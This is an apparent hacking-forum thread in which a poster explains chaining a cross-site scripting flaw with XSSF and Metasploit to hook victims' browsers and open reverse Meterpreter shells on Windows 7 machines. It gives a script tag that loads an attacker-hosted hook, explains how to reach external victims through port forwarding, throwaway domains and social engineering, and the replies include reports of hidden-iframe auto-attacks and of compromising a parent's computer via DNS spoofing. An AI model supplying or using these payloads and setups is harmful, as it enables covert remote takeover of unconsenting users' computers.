

Forum:[Hack Forums](#)

Thread: [\[TUT\] XSS to FULL OS Compromise using XSSF+Metasploit \[TUT\]](#)

Hooded Robin - October 24, 2011, 3:11 pm

OK, so today I will show you how we can leverage a common XSS vulnerability and take it up a notch, yes that is right, a notch higher than we did previously with [XSS Shell & XSS Tunnel](#). This time we will be using our common XSS to result in full OS compromise. Now I have seen a lot of tutorials involving Metasploit but most of them involve attacking XP with no Security updates which just doesn't seem fair (or impressive). My kid brother could take care of that....so I decided to show you it is possible with little effort to compromise an up to date system running Windows 7 OS with Internet Explorer 8 for browser. This way you know I am being serious when I say this is a valid exploit and a noteworthy reason to double check your user input validation scheme(s). Please follow along, and I hope you enjoy the ride...

OK so you have found XSS vulnerability and you saved it and found it is persistent XSS injection that will affect all users who view the injected page. Even if it is not persistent you can use Social Engineering to get the same effect (i.e. high traffic to exploited page/link), be creative...I am sure you can convince someone to click a link somehow ? We will then use this to work with XSSF and Metasploit to take it up a notch. Where we previously used our injection to point our victims to an alert box, or as shown in previous write-up we could point to the XSS Shell we were hosting, but instead this time we will now be injecting the path to our XSSF + Metasploit setup. XSSF works in the same manner as XSS Shell BUT the primary difference is it is coded in ruby and you can incorporate it directly into the Metasploit framework which allows us to extend our exploits to all of the wonderful Browser Exploits that are already built into MSF (let's be honest XSS Shell is nice but limited in scope). Now we can take a common XSS alert box and turn it into a Reverse Meterpreter Shell resulting in full OS compromise. I bet you didn't see that coming!

In order to get XSSF incorporated into MSF you need to follow a few quick steps:Download XSSF from here: [XSSF-HOMEPAGE](#)

You also need to have an up to date working version of Metasploit already installed (I will not cover this and make assumption you can figure it out on your own). If you do not already have it installed you can download the latest release from here (free version is just fine): [METASPLOIT-HOMEPAGE](#)

The latest version will help us to avoid any DB issues or any issues with your ruby installs being outdated ;)

OK, now fire up Metasploit however you like, from the console or via Armitage. I will be using Armitage for the purposes of today's article since it helps keep things easy. Once you're connected to your DB of choice and MSF is up and running we will want to do two things:

First - unzip the XSSF download into the MSF folder on your machine.

Secondly - run your choice method of opening MSF

Armitage or `./msfconsole`

Third - type this at MSF console: `load xssf`

You should now be greeted with the message banner for XSSF indicating that all went well. I had zero problems making it this far so if you have problems check your paths to make sure you unzipped everything properly and to the right locations. Once we have XSSF incorporated into Metasploit it is time to start tweaking our XSS Vulnerabilities and Injections to now point towards this setup. The default will run on localhost:8888 (use xssf_urls command to see full list generated at startup), and then you will need to inject some form of this XSS attack vector in order to get your victims to be sent to our XSSF Metasploit link:

Code "<script src='http://yoursite.com:8888/loop?interval=3'></script>"

NOTE: You can change the value following interval= to suite your needs as it will affect the browser refresh rate. I suggest playing with it and find what works for you, probably best between 2 & 5 (5 is default and works fine in my opinion).

Once this is injected instead of sending an alert box to our victims who view the page they will go on as if nothing happened while secretly they become our Zombies. Once we have zombies we can feed them to an XSS Tunnel session which works as outlined in my previous tutorial on XSS Shell and XSS Tunnel but now you can use the XSS Tunnel address that XSSF has created instead of fumbling with setting up XSS Shell and connecting with XSS Tunnel, just point your tools at localhost:8889 and let them rip. That is fun and can be convenient for leveraging other modules like the CSRF one but you can also now leverage Metasploit to perform further Browser attacks against our Zombies and spawn Meterpreter shells all over the place!

Please watch this video for the full details on how to perform full OS Compromise:

[Video: <http://www.youtube.com/watch?v=YFL1gHv4-Z4>]

NO-SOUND version: <http://www.youtube.com/watch?v=jwirABFe1Ok>

I am pretty sure you can get all the commands from the video as I filmed everything as I walked through it so should cover everything you would need to get situated for the first time and on your way. If you have questions please let me know and I will do what I can to help you figure things out. Please post your comments and let me know what you think!

Shouts to Zer0Lulz Crew:

//#- Zer0Pwn -#//, ~!White!~, Dr. Hobo, Hysteria™, Pi, and Greyerstring

Other XSS Related Tutorials, all compliments of Zer0Lulz Crew:XSS 101: [XSS 101](#)

XSS Filter Bypassing: [XSS Filter Bypassing](#)

XSS Shell & XSS Tunnel: [XSS Shell & XSS Tunnel](#)

XSS Quick Tips & Tricks: [XSS Tips & Tricks](#)

XSS Challenges: Keep an eye out for user [Pi](#) to occasionally offer up a good challenge for fun and Lulz (please read the rules though before you spam the thread though).

? Enjoy! ?

miciekiero - October 31, 2011, 8:24 am

nice tutorial mate :)

i want to try this soon. bookmark :D

noober1001 - October 31, 2011, 10:03 am

Thanks for sharing this.

I will definitely try this.

TinyWing - October 31, 2011, 10:28 am

This is one of the best tuts. Thank you.

cheatson - November 1, 2011, 5:31 pm

Really impressed with Zer0Lulz pushing the envelope on XSS- quality crew! Tight tutorial Hooded Robbin!

Hooded Robin - November 1, 2011, 7:55 pm

Thanks guys, glad you like it! It took much longer to put the videos together than it did to actually learn how to use the XSSF framework, so I encourage others to really give it a try. If anyone has questions please feel free to ask.

skatetopia - November 1, 2011, 8:25 pm

Is this for LAN only?

[T00SHORT...]

Hooded Robin - November 2, 2011, 6:54 am

NO, this can easily be adapted to attack external parties using an external IP address. XSSF automatically will set things up so it can be served up against external IP address, although some port forwarding on your LAN router may be required for this to properly work. If you want to confirm what links are available to send potential victims just issue the "xssf_urls" command once it is loaded to see the full list. I used LAN example for video as it was easier to setup for tutorial purposes. You can also tweak the browser exploits so they don't require user interaction, again I just chose one I knew would work for tutorial purposes.

bluebknight - November 2, 2011, 7:03 am

(Nov 2, 2011 06:54 AM)Hooded Robin Wrote: [\[CITE\]](#) NO, this can easily be adapted to attack external parties using an external IP address. XSSF automatically will set things up so it can be served up against external IP address, although some port forwarding on your LAN router may be required for this to properly work. If you want to confirm what links are available to send potential victims just issue the "xssf_urls" command once it is loaded to see the full list. I used LAN example for video as it was easier to setup for tutorial purposes. You can also tweak the browser exploits so they don't require user interaction, again I just chose one I knew would work for tutorial purposes. People should also try the IP-passthrough mode on their router to make it work for sure.

And, this should get a lot more views. Especially, to the skeptics who think XSS is useless.

P.S. The java drive-by can be loaded directly using an XSS/iframe without the need of XSSF. It's the browser exploits when XSSF comes handy.

You should also look into BeEF and make a few tutorials. It's awesome.

lulzcat - November 2, 2011, 7:13 am

(Nov 2, 2011 07:03 AM)bluebknight Wrote: [\[CITE\]](#) People should also try the IP-passthrough mode on their router to make it work for sure.

And, this should get a lot more views. Especially, to the skeptics who think XSS is useless.

P.S. The java drive-by can be loaded directly using an XSS/iframe without the need of XSSF. It's the browser exploits when XSSF comes handy.

You should also look into BeEF and make a few tutorials. It's awesome.

Non-persistent is useless... Unless your spread pro. No one said Persistent XSS exploits are useless
-.-

EDIT: Nice tut btw man, Quality stuff. :)

Hooded Robin - November 2, 2011, 7:19 am

This can entirely be done with non-persistent OR persistent XSS finds, once someone visits link - game-over (doesn't matter how they got there). Persistent finds just make it easier to stealth it. Spreading a link is purely up to SE skills, and people in general are dumb and clueless. You can send a link out that clearly says: DO NOT CLICK to 100 people and I bet you would still get 20% success rate. If you use some targeted approaches you only need to pwn 1 key individual (admin) to get the keys to the castle, which is why I wrote this - to emphasize both are equally as deadly :)

Stenography - November 2, 2011, 7:37 am

Looks very interesting..

Going to try it out..

lulzcat - November 2, 2011, 6:49 pm

(Nov 2, 2011 07:19 AM)Hooded Robin Wrote: [\[CITE\]](#) This can entirely be done with non-persistent OR persistent XSS finds, once someone visits link - game-over (doesn't matter how they got there). Persistent finds just make it easier to stealth it. Spreading a link is purely up to SE skills, and people in general are dumb and clueless. You can send a link out that clearly says: DO NOT CLICK to 100 people and I bet you would still get 20% success rate. If you use some targeted approaches you only need to pwn 1 key individual (admin) to get the keys to the castle, which is why I wrote this - to emphasize both are equally as deadly :)

I know it can be done with non-persistent. But honestly who has the time nor the mental focus to spread a page instance? I mean if you can fool people that's great, Go for it. I just don't have the patience for it lulz.

No?????? - November 2, 2011, 11:04 pm

This is an excellent tutorial and I hope it helps people realize that XSS can be serious.

Delete Me - November 6, 2011, 2:16 am

This is nice man! I didn't know XSS could be this useful. I just found a big forum vulnerable to XSS. Definitely going to try this out...right know! And checking your other tuts.

Thanks!

rand0 - January 12, 2012, 8:42 am

Awesome share. I will most certainly get into this when I actually get more time to hack. I'm uber impressed by your 1337ness sir. Keep up the good work. Bookmarked :)

orunu - January 22, 2012, 8:30 pm

I just got one question :/ how does a victim become "active"?

Hooded Robin - January 22, 2012, 9:28 pm

by visiting a page where you have injected your XSSF link into. Might be persistent or not. You can use whatever syntax works on your particular site but it needs to point to the URL provided at XSSF startup (or if you check). Once a visitor visits the malicious link or injected page their browser will be hooked. Once hooked you can have fun doing what you want. You can use the test page that gets setup at load time to test how things work and how the hook makes a target become active. Hope this helps.

orunu - January 22, 2012, 9:33 pm

(Jan 22, 2012 10:28 PM)Hooded Robin Wrote: [\[CITE\]](#) by visiting a page where you have injected your XSSF link into. Might be persistent or not. You can use whatever syntax works on your particular site but it needs to point to the URL provided at XSSF startup (or if you check). Once a visitor visits the malicious link or injected page their browser will be hooked. Once hooked you can have fun doing what you want. You can use the test page that gets setup at load time to test how things work and how the hook makes a target become active. Hope this helps.

yea i found out i could use a hidden iframe with a link to the testpage and have auto attack setup = pwned

and im using no-ip.biz instead of my external ip :) safer that way lol

DD0Sed - March 20, 2012, 9:03 am

This still works right?

I also read you could connect nessus with XSSF+metasploit.

Hooded Robin - March 20, 2012, 9:09 am

Yes it still works, very well in fact!

You can incorporate Nessus into Metasploit, but dont really see how that is going to help you with XSSF, your better off finding XSS vulns manually while Nessus is a beast at finding other vulns you can exploit. That is also a entirelyly another subject so please start a thread with your questions on Nessus in the Pentest section if you have more questions or want to know more about it.

@orunu - I had not tested yet with NO-IP but seems like a no-brainer idea. Thakns for confirming that setup works well!

matt_ - March 20, 2012, 12:30 pm

Awesome demo on this. Not really something i've looked into before but this has caught my attention now. Thanks.

Fabric - March 20, 2012, 1:06 pm

nice tutorial man this is the first time i saw this thanks

Greystersting - March 26, 2012, 7:41 pm

I am getting uninitialized constant msf:xssf

What does that mean?

Hooded Robin - March 26, 2012, 8:07 pm

to be honest I am not really sure. Did you properly extract all of the XSSF documents into the MSF3 directory before running the load command? I assume your getting error at load, if not provide some more info and I try to help you get things working

D??K 0DI? - March 26, 2012, 11:48 pm

Great tut however:

(Oct 24, 2011 03:11 PM)Hooded Robin Wrote: [\[CITE\]](#) Secondly - run your choice method of opening MSF

[*]Armitage or ./msfconsole

It is recommended by Rapid 7 to just run armitage or msfconsole from a terminal, and not from the directory.

Infinity. - March 27, 2012, 12:13 am

Great tutorial mate...:) will try this sooner , bookmarked this...)

fred goffa - March 27, 2012, 12:34 am

Hey dude nice tut, but next time can u please show hacking external ip, not a local ip please, because it drives me crazy when people say they can hack in videos, but when doing it over lan proves nothing, all lan hacking proves is ur a script kiddie :\

D??K 0DI? - March 27, 2012, 12:41 am

(Mar 27, 2012 12:34 AM)fred goffa Wrote: [\[CITE\]](#) but when doing it over lan proves nothing, all lan hacking proves is ur a script kiddie :\

This is one of the most ignorant statements I have ever heard.

Vikta_ - March 27, 2012, 12:42 am

Great tutorial. Going to bookmark this for later use ;-)

Valour - March 27, 2012, 1:06 am

Love this tut... Read it from the first word to the last with the video.. Meh going try it out just now on my network computer :D Thanks 'lot..

fred goffa - March 27, 2012, 1:25 am

Gives me negative rep for making that post

D??K 0DI? (41) - Last updated Today, 01:02 AM

Negative (-3): 'when doing it over lan proves nothing, all lan hacking proves is ur a script kiddie :\' LQ member, knows nothing.

Hmmm someone is mad

Hooded Robin - March 27, 2012, 7:30 am

@D??K 0DI? - good point, my advice was implying one would run the commands from terminal but to each there own. Best practices is obviously the way to go so thanks for throwing that in I guess in case anyone else was not clear. I usually just fly by seat of my pants and there was hardly any documentation when I originally set this up and made the demo video so....

@fred goffa - it happens, get over it. You make dumb comments you get reactions like that (be lucky only he did it). Orunu gave perfect advice earlier in thread on how you can set things up for external ip and common sense can usually help in figuring out how to change the LHOST and RHOST setting to accomodate. If you cant figure this out go back to the basics. LAN hacking leads to WAN and vice versa. You should be well rounded in both or you wont make it anywhere. Stop trolling my thread, if you got problems take it up via PM or hit up a moderator to see if they care....

NeverMind01 - March 27, 2012, 12:02 pm

Great video man. Well it works because it use vulnerability of a browser, not in OS. Anyway I like it the idea is good and the tutorial is good I must try this in real situation I had a site with persistent XSS vuln in mind, so I have perfect opportunity to test it in real life situation.

fred goffa - March 27, 2012, 11:00 pm

i will be more carefull next time i post man,

Greystersting - March 28, 2012, 5:38 pm

Wait what folder?

Just the metasploit folder?

Or the metasploit/msf3/ or what?

Hooded Robin - March 28, 2012, 7:10 pm

The contents of the XSSF download archive file needs to be extracted to the msf3 folder and sub-folders within it. You may need to extarct it first to your Desktop and then move each set into its respective folder under ms3 if your having problems i.e. xssf.rb goes in /msf3/plugins/ folder and the others go in the ones they are labeled as in the archive file. Let me know if you need me to include pics or more details on exactly what goes where...

Greystersting - March 28, 2012, 7:13 pm

(Mar 28, 2012 07:10 PM)Hooded Robin Wrote: [\[CITE\]](#) The contents of the XSSF download archive file needs to be extracted to the msf3 folder and sub-folders within it. You may need to extarct it first to your Desktop and then move each set into its respective folder under ms3 if your having problems i.e. xssf.rb goes in /msf3/plugins/ folder and the others go in the ones they are labeled as in the archive file. Let me know if you need me to include pics or more details on exactly what goes where...

Can I just drag it into msf3 and let it combine to folders or whatever?

fred goffa - March 28, 2012, 9:21 pm

i tried this on a external network and amazingly it works, great work mate and thanks for showing tut

Techie??? - March 28, 2012, 10:56 pm

Let this tutorial be at the top.

Nice contribution man.

Greystersting - March 30, 2012, 4:26 pm

192.168.1.3:8888/test.html works, but when I do

http://<MY IP FROM WHATISMYIP.ORG>:8888/test.html

it says

"could not connect to <MY IP FROM WHATISMYIP.ORG>:8888"

ALSO <http://192.168.1.3:8888/>

gives me

"Oops! This link appears to be broken."

Hooded Robin - March 30, 2012, 5:12 pm

Do you have your services listening on 127.0.0.1 or internal based IP? If so change it so it is listening on 0.0.0.0(:port) or your external IP (Databases, Apache, whatever else you may have that has configuration file with defined listening address...). Do you have ports forwarded? Also you may try checking the RAT section for some easy ways to use NO-IP type setup to avoid complicated setup. Alternatively you could try a paid VPN service which would make your port forwarding issues

a bit easier to solve as well, or a dedi VPS since they usually get external facing IP without fuss.

Greyersting - March 30, 2012, 5:16 pm

(Mar 30, 2012 05:12 PM)Hooded Robin Wrote: [\[CITE\]](#) Do you have your services listening on 127.0.0.1 or internal based IP? If so change it so it is listening on 0.0.0.0(:port) or your external IP (Databases, Apache, whatever else you may have that has configuration file with defined listening address...). Do you have ports forwarded? Also you may try checking the RAT section for some easy ways to use NO-IP type setup to avoid complicated setup. Alternatively you could try a paid VPN service which would make your port forwarding issues a bit easier to solve as well, or a dedi VPS since they usually get external facing IP without fuss.

1. What IP would I port forward the ports on?
2. What do I do if I have XAMPP?

Hooded Robin - March 30, 2012, 5:20 pm

XAMPP default config only listens on 127.0.0.1 or localhost, update each of the config files so that everything listens on your 192.168.x.x IP or 0.0.0.0 (which is any interface). Then make sure you have ports forwarded on your router (whatever ports you want to run your web server on and/or attacks on need to be forward on router for designated internal IP, NAT will handle the translation once packets reach router). Alternatively you port forward, use NO-IP client and use that domain to forward your traffic from throw-away domain to your external IP. please read some of the tuts the RAT guys have done as it covers this stuff in great detail.

Greyersting - March 30, 2012, 5:31 pm

(Mar 30, 2012 05:20 PM)Hooded Robin Wrote: [\[CITE\]](#) XAMPP default config only listens on 127.0.0.1 or localhost, update each of the config files so that everything listens on your 192.168.x.x IP or 0.0.0.0 (which is any interface). Then make sure you have ports forwarded on your router (whatever ports you want to run your web server on and/or attacks on need to be forward on router for designated internal IP, NAT will handle the translation once packets reach router). Alternatively you port forward, use NO-IP client and use that domain to forward your traffic from throw-away domain to your external IP. please read some of the tuts the RAT guys have done as it covers this stuff in great detail.

I know to portforward, but I don't know which IP to portforward on.

According to ipconfig-

Default Gateway- 192.168.1.1

IPV4 address- 192.168.1.3

Which one should I portforward?

Anyway this is just getting really confusing for me, can you add me on skype?

Hooded Robin - March 30, 2012, 6:53 pm

You need to port forward to your IP, 192.168.1.1 is your router while 192.168.1.3 is YOUR IP - within your LAN. Whatever port you run your setup on 192.168.1.3 is what port you need to forward on the router so that when a request to your EXTERNAL IP (not listed here) it hits the router which uses NAT to send the request to 192.168.1.3 sicne you used port forwarding to tell it where to send requests on that port to (again since all your internal 192.168.1.x machines share the same EXTERNAL IP). If this is still confusing work on your networking skills and read up on RAT section tutorials and just come back to this one when you have things sorted out. It is certainly not a beginner task to set this up, especially for external facing setup.

PS - I don't have and don't support Skype, sorry bro.

GigaBytez - March 31, 2012, 7:20 am

Awesome tutorial, great and to the point !

Smithy. - March 31, 2012, 11:46 am

Thanks for the tut, would +rep if I could xD

Greystersting - March 31, 2012, 11:59 am

Ok last thing, it will not work with no-ip.

lionkidd - March 31, 2012, 6:15 pm

bookmarked

thanks for this awesome thread :P

Hooded Robin - April 1, 2012, 12:31 pm

@greystersting & others - I try to make a part II tutorial as follow up to show details on external setup, but I need to find time so stay tuned in coming weeks for an update to come....

Prayanthem - April 1, 2012, 12:37 pm

First of all. Great tut as always and thank you for sharing.

I failed already on this part though: (load xssf):

Failed to load plugin from C:/metasploit/msf3/plugins/xssf: uninitialized constant Msf::Xssf

I have extracted the XSSF.zip file into the msf3 folder and everything is in the correct folder. (I believe)

Greystersting - April 1, 2012, 7:09 pm

Can someone write a text version of the video?

Apatia777 - April 9, 2012, 4:26 pm

You are awesome! ? Amazing tutorial, great job!

Fiddle - May 11, 2012, 1:09 pm

hey i got a problem. i am even copying all files into the msf3 folder but when i try to start metasploit i get following error log:

```
Code ] /pentest/exploits/msf3/modules/auxiliary/xssf/web_services.rb: NameError uninitialized
constant Msf::DBManager::XssfVictim::DBSave
[-] /pentest/exploits/msf3/modules/auxiliary/xssf/ie_only/ipconfig.rb: NameError uninitialized
constant Msf::DBManager::XssfVictim::DBSave
[-] /pentest/exploits/msf3/modules/auxiliary/xssf/ie_only/sop_bypass_ie_6.rb: NameError
uninitialized constant Msf::DBManager::XssfVictim::DBSave
[-] /pentest/exploits/msf3/modules/auxiliary/xssf/ie_only/command.rb: NameError uninitialized
constant Msf::DBManager::XssfVictim::DBSave
[-] /pentest/exploits/msf3/modules/auxiliary/xssf/prompt.rb: NameError uninitialized constant
Msf::DBManager::XssfVictim::DBSave
[-] /pentest/exploits/msf3/modules/auxiliary/xssf/load_applet.rb: NameError uninitialized constant
Msf::DBManager::XssfVictim::DBSave
[-] /pentest/exploits/msf3/modules/auxiliary/xssf/xss_bounce.rb: NameError uninitialized constant
Msf::DBManager::XssfVictim::DBSave
[-] /pentest/exploits/msf3/modules/auxiliary/xssf/load_pdf.rb: NameError uninitialized constant
Msf::DBManager::XssfVictim::DBSave
[-] /pentest/exploits/msf3/modules/auxiliary/xssf/change_interval.rb: NameError uninitialized
constant Msf::DBManager::XssfVictim::DBSave
[-] /pentest/exploits/msf3/modules/auxiliary/xssf/cookie.rb: NameError uninitialized constant
```

Msf::DBManager::XssfVictim::DBSave

[-] /pentest/exploits/msf3/modules/auxiliary/xssf/get_page.rb: NameError uninitialized constant

Msf::DBManager::XssfVictim::DBSave

i am even read through about it and found out xssf is case sensitive and also renamed to XSSF
ans here

Code msf > load XSSF

[-] Failed to load plugin from /pentest/exploits/msf3/plugins/XSSF: no such file to load --

/pentest/exploits/msf3/plugins/XSSF

msf > load xssf

[-] Failed to load plugin from /pentest/exploits/msf3/plugins/xssf: uninitialized constant

Msf::Xssf::XssfMaster

msf >

but also not working, i've also read sth about utf8 encoding errors and downloaded xssf about 3 - 4 times from different trusted sites, all not worked, the error isn't known in google, could someone please help me? using backtrack 5 gnome on vmware but shouldn't be the problem i guess.

edit: i am using ruby version 1.9.

hackhua - June 4, 2012, 9:33 pm

i had the same problem too, how to fix that

Valour - June 6, 2012, 11:00 pm

This is so much fun ! :D I followed your tut and another tutorial about DNS spoofing.. Then combined the two together to be able to spoof a website which my parents very usually visit ... Now that webpage shows up first and opens a meterpreter for me, but they can still continue browsing ! :D Thanks a lot mate! I'll continue doing some more research on exploiting fully updated machines than those old XP boxes

(Jun 4, 2012 09:33 PM)hackhua Wrote: [CITE](#) i had the same problem too, how to fix that
You probably didn't install it in a proper way.. Try installing it again.. It gave no problems to me

Hooded Robin - June 7, 2012, 6:51 am

@Undefined - thanks for feedback and confirming everything is working out of the box with latest downloads! Its an awesome tool set with lots of fun features, enjoy playing around with it :)

@Everyone else - if its not working try to remove everything and redo the install. Double read the XSSF documentation before starting as well as it covers all the basic issues you might run into very well.

GhostSniper - June 10, 2012, 10:36 pm

Having the same problems as the others before me.

cyber_zone - June 11, 2012, 3:38 am

Nice tutorial bro

i learned something from this tutorial thanks:)

Glomps - July 22, 2012, 3:10 am

Getting the same errors has above...I put everything in the right spot, Could someone explain whats going on here? Can this only be done using the Linux version of MS?

Boss Shells - July 22, 2012, 7:40 am

nice bro thanks bro i well use this for a fact

ch3micalburn3d - *August 9, 2012, 2:20 pm*

this is just brilliant, cant wait for other tutorials by you , easy to understand , thanks for sharing mate.

niethateboy - *October 26, 2013, 8:12 am*

thx man but the exploit gets detected by the av